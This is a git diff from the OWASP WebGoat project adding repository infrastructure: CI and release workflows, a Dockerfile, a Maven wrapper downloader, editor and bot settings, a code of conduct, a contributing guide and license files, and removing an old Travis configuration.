diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 000000000..35b2f7ce0 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,3 @@ +** + +!/target diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 000000000..a6d05ec21 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,15 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +max_line_length = 120 +tab_width = 4 +ij_continuation_indent_size = 8 +ij_formatter_off_tag = @formatter:off +ij_formatter_on_tag = @formatter:on +ij_formatter_tags_enabled = false +ij_java_names_count_to_use_import_on_demand = 999 diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..696cb3a7f --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat \ No newline at end of file diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 000000000..583decfd1 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,7 @@ +version: 2 +updates: + # Maintain dependencies for GitHub Actions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "daily" \ No newline at end of file diff --git a/.github/lock.yml b/.github/lock.yml new file mode 100644 index 000000000..436e0b9a7 --- /dev/null +++ b/.github/lock.yml @@ -0,0 +1,10 @@ +--- +daysUntilLock: 365 +skipCreatedBefore: false +exemptLabels: [] +lockLabel: false +lockComment: > + This thread has been automatically locked because it has not had + recent activity after it was closed. :lock: Please open a new issue + for regressions or related bugs. +setLockReason: false diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 000000000..1df9ad312 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,10 @@ +--- +daysUntilStale: 90 +daysUntilClose: 14 +onlyLabels: + - waiting for input + - wontfix +staleLabel: stale +markComment: > + This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. +closeComment: false diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 000000000..1d4081804 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,68 @@ +name: "Build" +on: + pull_request: + paths-ignore: + - '.txt' + - 'LICENSE' + - 'docs/**' + push: + branches: + - main + - develop + - release/* + tags-ignore: + - '*' + paths-ignore: + - '.txt' + - 'LICENSE' + - 'docs/**' + +jobs: + pr-build: + if: > + github.event_name == 'pull_request' && !github.event.pull_request.draft && ( + github.event.action == 'opened' || + github.event.action == 'reopened' || + github.event.action == 'synchronize' + ) + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + steps: + - uses: actions/checkout@v3 + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'temurin' + java-version: 17 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v3.2.3 + with: + path: ~/.m2 + key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ${{ runner.os }}-m2- + - name: Build with Maven + run: mvn --no-transfer-progress verify + + build: + if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push' + runs-on: ubuntu-latest + name: "Branch build" + steps: + - uses: actions/checkout@v3 + - name: set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'temurin' + java-version: 17 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v3.2.3 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2- + - name: Test with Maven + run: mvn --no-transfer-progress verify diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 000000000..ca83dfd2a --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,138 @@ +name: "Release Pipeline" +on: + push: + tags: + - v* +jobs: + release: + if: github.repository == 'WebGoat/WebGoat' + name: Release WebGoat + runs-on: ubuntu-latest + environment: + name: release + steps: + - uses: actions/checkout@v3 + + - name: "Get tag name" + id: tag + uses: dawidd6/action-get-tag@v1 + + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'zulu' + java-version: 17 + architecture: x64 + + - name: Cache Maven packages + uses: actions/cache@v3.2.3 + with: + path: ~/.m2 + key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ${{ runner.os }}-m2 + + - name: "Set labels for ${{ github.ref }}" + run: | + echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV + WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }} + echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV + - name: Build with Maven + run: | + mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }} + mvn --no-transfer-progress install -DskipTests + + - name: "Create release" + uses: softprops/action-gh-release@v1 + with: + draft: false + files: | + target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar + body: | + ## Version ${{ steps.tag.outputs.tag }} + + ### New functionality + + - test + + ### Bug fixes + + - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) + + Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }} + + + ## Contributors + + Special thanks to the following contributors providing us with a pull request: + + - Person 1 + - Person 2 + + And everyone who provided feedback through Github. + + + Team WebGoat + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: "Set up QEMU" + uses: docker/setup-qemu-action@v2.1.0 + with: + platforms: all + + - name: "Set up Docker Buildx" + uses: docker/setup-buildx-action@v2 + + - name: "Login to dockerhub" + uses: docker/login-action@v2.1.0 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: "Build and push" + uses: docker/build-push-action@v3.2.0 + with: + context: ./ + file: ./Dockerfile + push: true + platforms: linux/amd64, linux/arm64, linux/arm/v7 + tags: | + webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }} + webgoat/webgoat:latest + build-args: | + webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} + + - name: "Image digest" + run: echo ${{ steps.docker_build.outputs.digest }} + new_version: + permissions: + contents: write # for Git to git push + if: github.repository == 'WebGoat/WebGoat' + name: Update development version + needs: [ release ] + runs-on: ubuntu-latest + environment: + name: release + steps: + - uses: actions/checkout@v3 + with: + ref: develop + token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }} + + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + java-version: 17 + architecture: x64 + + - name: Set version to next snapshot + run: | + mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit + + - name: Commit pom.xml + run: | + git config user.name webgoat-github + git config user.email owasp.webgoat@gmail.com + find . -name 'pom.xml' | xargs git add + git commit -m "Updating to the new development version" + git push diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 000000000..bea73c6f3 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,68 @@ +name: "UI-Test" +on: + pull_request: + paths-ignore: + - '.txt' + - '*.MD' + - '*.md' + - 'LICENSE' + - 'docs/**' + push: +# tags-ignore: +# - '*' + paths-ignore: + - '.txt' + - '*.MD' + - '*.md' + - 'LICENSE' + - 'docs/**' + +jobs: + build: + runs-on: ubuntu-latest + # display name of the job + name: "Robot framework test" + steps: + # Uses an default action to checkout the code + - uses: actions/checkout@v3 + # Uses an action to add Python to the VM + - name: Setup Pyton + uses: actions/setup-python@v4 + with: + python-version: '3.7' + architecture: x64 + # Uses an action to add JDK 17 to the VM (and mvn?) + - name: set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'temurin' + java-version: 17 + architecture: x64 + #Uses an action to set up a cache using a certain key based on the hash of the dependencies + - name: Cache Maven packages + uses: actions/cache@v3.2.3 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2- + - uses: BSFishy/pip-action@v1 + with: + packages: | + robotframework + robotframework-SeleniumLibrary + webdriver-manager + - name: Run with Maven + run: mvn --no-transfer-progress spring-boot:run & + - name: Wait to start + uses: ifaxity/wait-on-action@v1 + with: + resource: http://127.0.0.1:8080/WebGoat + - name: Test with Robotframework + run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot + # send report to forks only due to limits on permission tokens + - name: Send report to commit + if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push' + uses: joonvena/robotframework-reporter-action@v2.1 + with: + gh_access_token: ${{ secrets.GITHUB_TOKEN }} + report_path: 'robotreport' diff --git a/.github/workflows/welcome.yml b/.github/workflows/welcome.yml new file mode 100644 index 000000000..36199c09c --- /dev/null +++ b/.github/workflows/welcome.yml @@ -0,0 +1,17 @@ +name: Welcome + +on: + issues: + types: + - opened + +jobs: + greeting: + if: github.repository == 'WebGoat/WebGoat' + runs-on: ubuntu-latest + steps: + - uses: actions/first-interaction@v1.1.1 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.' + pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!' diff --git a/.gitignore b/.gitignore index 549b59a14..f914d3ab7 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,7 @@ /.externalToolBuilders/ .project */target/* +*.pmd mongo-data/* .classpath .idea/ @@ -50,4 +51,9 @@ webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml webgoat.lck webgoat.log webgoat.properties -webgoat.script \ No newline at end of file +webgoat.script +TestClass.class +**/*.flattened-pom.xml +/.gitconfig + +webgoat.gitconfig \ No newline at end of file diff --git a/.mvn/wrapper/MavenWrapperDownloader.java b/.mvn/wrapper/MavenWrapperDownloader.java new file mode 100644 index 000000000..c32394f14 --- /dev/null +++ b/.mvn/wrapper/MavenWrapperDownloader.java @@ -0,0 +1,117 @@ +/* + * Copyright 2007-present the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +import java.net.*; +import java.io.*; +import java.nio.channels.*; +import java.util.Properties; + +public class MavenWrapperDownloader { + + private static final String WRAPPER_VERSION = "0.5.5"; + /** + * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. + */ + private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/" + + WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar"; + + /** + * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to + * use instead of the default one. + */ + private static final String MAVEN_WRAPPER_PROPERTIES_PATH = + ".mvn/wrapper/maven-wrapper.properties"; + + /** + * Path where the maven-wrapper.jar will be saved to. + */ + private static final String MAVEN_WRAPPER_JAR_PATH = + ".mvn/wrapper/maven-wrapper.jar"; + + /** + * Name of the property which should be used to override the default download url for the wrapper. + */ + private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; + + public static void main(String args[]) { + System.out.println("- Downloader started"); + File baseDirectory = new File(args[0]); + System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); + + // If the maven-wrapper.properties exists, read it and check if it contains a custom + // wrapperUrl parameter. + File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); + String url = DEFAULT_DOWNLOAD_URL; + if(mavenWrapperPropertyFile.exists()) { + FileInputStream mavenWrapperPropertyFileInputStream = null; + try { + mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); + Properties mavenWrapperProperties = new Properties(); + mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); + url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); + } catch (IOException e) { + System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); + } finally { + try { + if(mavenWrapperPropertyFileInputStream != null) { + mavenWrapperPropertyFileInputStream.close(); + } + } catch (IOException e) { + // Ignore ... + } + } + } + System.out.println("- Downloading from: " + url); + + File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); + if(!outputFile.getParentFile().exists()) { + if(!outputFile.getParentFile().mkdirs()) { + System.out.println( + "- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'"); + } + } + System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); + try { + downloadFileFromURL(url, outputFile); + System.out.println("Done"); + System.exit(0); + } catch (Throwable e) { + System.out.println("- Error downloading"); + e.printStackTrace(); + System.exit(1); + } + } + + private static void downloadFileFromURL(String urlString, File destination) throws Exception { + if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) { + String username = System.getenv("MVNW_USERNAME"); + char[] password = System.getenv("MVNW_PASSWORD").toCharArray(); + Authenticator.setDefault(new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(username, password); + } + }); + } + URL website = new URL(urlString); + ReadableByteChannel rbc; + rbc = Channels.newChannel(website.openStream()); + FileOutputStream fos = new FileOutputStream(destination); + fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); + fos.close(); + rbc.close(); + } + +} diff --git a/.mvn/wrapper/maven-wrapper.properties b/.mvn/wrapper/maven-wrapper.properties new file mode 100644 index 000000000..ffdc10e59 --- /dev/null +++ b/.mvn/wrapper/maven-wrapper.properties @@ -0,0 +1,2 @@ +distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip +wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 46865c92f..000000000 --- a/.travis.yml +++ /dev/null @@ -1,47 +0,0 @@ -services: - - docker -language: java -jdk: -- oraclejdk8 -install: "/bin/true" -script: -- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi) -- echo "TRAVIS_BRANCH=$TRAVIS_BRANCH, PR=$PR, BRANCH=$BRANCH" -- if [ ! -z "${TRAVIS_TAG}" ]; then mvn versions:set -DnewVersion=${TRAVIS_TAG:1}; fi -- mvn clean install -q -cache: - directories: - - "$HOME/.m2" -before_deploy: - - export WEBGOAT_SERVER_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-server/target - - export WEBWOLF_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webwolf/target - - export WEBGOAT_ARTIFACTS_FOLDER=$HOME/build/$TRAVIS_REPO_SLUG/Deployable_Artifacts/ - - mkdir -p $WEBGOAT_ARTIFACTS_FOLDER - - cp -fa $WEBGOAT_SERVER_TARGET_DIR/*.jar $WEBGOAT_ARTIFACTS_FOLDER/ - - cp -fa $WEBWOLF_TARGET_DIR/*.jar $WEBGOAT_ARTIFACTS_FOLDER/ - - echo "Contents of artifacts folder:" - - ls $WEBGOAT_ARTIFACTS_FOLDER -deploy: - - provider: script - skip_cleanup: true - script: bash scripts/deploy-webgoat.sh - on: - repo: WebGoat/WebGoat - tags: true - - provider: releases - skip_cleanup: true - overwrite: true - api_key: - #api-key from webgoat-github user - secure: pJOLBnl6427PcVg/tVy/qB18JC7b8cKpffau+IP0pjdSt7KUfBdBY3QuJ7mrM65zRoVILzggLckaew2PlRmYQRdumyWlyRn44XiJ9KO4n6Bsufbz+ictB4ggtozpp9+I9IIUh1TmqypL9lhkX2ONM9dSHmyblYpAAgMuYSK8FYc= - file_glob: true - file: $WEBGOAT_ARTIFACTS_FOLDER/* - on: - repo: WebGoat/WebGoat - tags: true -env: - global: - #Docker login - - secure: XgPc0UKRTUI70I4YWNQpThPPWeQIxkmzh1GNoR/SSDC2GPIBq3EfkkbSQewqil8stTy+S1/xSzc0JXG8NTn7UOxHVHA/2nhI6jX9E+DKtXQ89YwmaDNQjkbMjziAtDCIex+5TRykxNfkxj6VPYbDssrzI7iJXOIZVj/HoyO3O5E= - #Docker password - - secure: aly5TKBUK9sIiqtMbytNNPZHQhC0a7Yond5tEtuJ8fO+j/KZB4Uro3I6BhzYjGWFb5Kndd0j2TXHPFvtOl402J1CmFsY3v0BhilQd0g6zOssp5T0A73m8Jgq4ItV8wQJJy2bQsXqL1B+uFYieYPiMchj7JxWW0vBn7TV5b68l6U= diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..28718f0a4 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,60 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Disclaimer + +The WebGoat project and its materials are conceived for educational and research purposes only. + +Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. + +The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. + +Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. + +The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. + +All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). + +For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..a6f530e5f --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,105 @@ +# Contributing + +[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) + +This document describes how you can contribute to WebGoat. Please read it carefully. + +**Table of Contents** + +* [How to Contribute to the Project](#how-to-contribute-to-the-project) +* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment) +* [How to get your PR Accepted](#how-to-get-your-pr-accepted) + +## How to Contribute to the project + +There are a couple of ways on how you can contribute to the project: + +* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. +* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). + +## How to get your PR accepted + +Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short: +The minimum requirements for code contributions are: + +1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules. +2. All new and changed code _should_ have a corresponding unit and/or integration test. +3. New and changed lessons _must_ have a corresponding integration test. +4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. + +Additionally, the following guidelines can help: + +### Keep your pull requests limited to a single issue + +Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples: + +* If you are making spelling corrections in the docs, don't modify other files. +* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. + +### Write a good commit message + +* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d) + +* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message. + +For example: `Fix #545` or `Closes #10` + +## How to set up your Contributor Environment + +1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account. +2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo"). +3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this. +4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository: + + ```bash + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + + $ git remote add upstream git@github.com:WebGoat/WebGoat.git + + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + upstream git@github.com:OWASP/WebGoat.git (fetch) + upstream git@github.com:OWASP/WebGoat.git (push) + ``` + + See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". + +5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). + +6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` + +7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/). + +8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub. + +9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. + +10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. + +11. When starting on a new PR in the future, make sure to always keep your local repo up to date: + + ```bash + $ git fetch upstream + $ git merge upstream/develop + ``` + + See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")". + +If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5. + +> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open. + +## What not to do + +Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration: + +* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. +* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide. + +Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details. diff --git a/COPYRIGHT.txt b/COPYRIGHT.txt new file mode 100644 index 000000000..bed6f51c0 --- /dev/null +++ b/COPYRIGHT.txt @@ -0,0 +1,19 @@ +This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + +Copyright (c) 2002 - $today.year Bruce Mayhew + +This program is free software; you can redistribute it and/or modify it under the terms of the +GNU General Public License as published by the Free Software Foundation; either version 2 of the +License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program; if +not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +02111-1307, USA. + +Getting Source ============== + +Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. \ No newline at end of file diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.md similarity index 57% rename from CREATE_RELEASE.MD rename to CREATE_RELEASE.md index d7d566313..1c37fd033 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.md @@ -1,25 +1,32 @@ ## Release WebGoat - ### Version numbers For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging - and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use - `v8.0.0` and 8.0.0 in the `pom.xml` +and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use +`v8.0.0` in the `pom.xml` + +### Release notes: + +Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of +committers. At the moment we use Gitflow, for a release you create a new release branch and take the following steps: ``` git checkout develop git flow release start -mvn versions:set < -git commit -am "New release, updating pom.xml" git flow release publish + +<> +<> + +git flow release finish +git push origin develop +git push origin main git push --tags ``` Now Travis takes over and will create the release in Github and on Docker Hub. NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version - - diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 000000000..f4af6fed2 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,32 @@ +FROM docker.io/eclipse-temurin:17-jre-focal + +RUN useradd -ms /bin/bash webgoat +RUN chgrp -R 0 /home/webgoat +RUN chmod -R g=u /home/webgoat + +USER webgoat + +COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar + +EXPOSE 8080 +EXPOSE 9090 + +WORKDIR /home/webgoat +ENTRYPOINT [ "java", \ + "-Duser.home=/home/webgoat", \ + "-Dfile.encoding=UTF-8", \ + "--add-opens", "java.base/java.lang=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \ + "--add-opens", "java.base/java.text=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \ + "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \ + "--add-opens", "java.base/java.io=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "-Drunning.in.docker=true", \ + "-Dwebgoat.host=0.0.0.0", \ + "-Dwebwolf.host=0.0.0.0", \ + "-Dwebgoat.port=8080", \ + "-Dwebwolf.port=9090", \ + "-jar", "webgoat.jar" ] diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 000000000..573d2b4eb --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,19 @@ +This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + +Copyright (c) 2002 - 2019 Bruce Mayhew + +This program is free software; you can redistribute it and/or modify it under the terms of the +GNU General Public License as published by the Free Software Foundation; either version 2 of the +License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program; if +not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +02111-1307, USA. + +Getting Source ============== 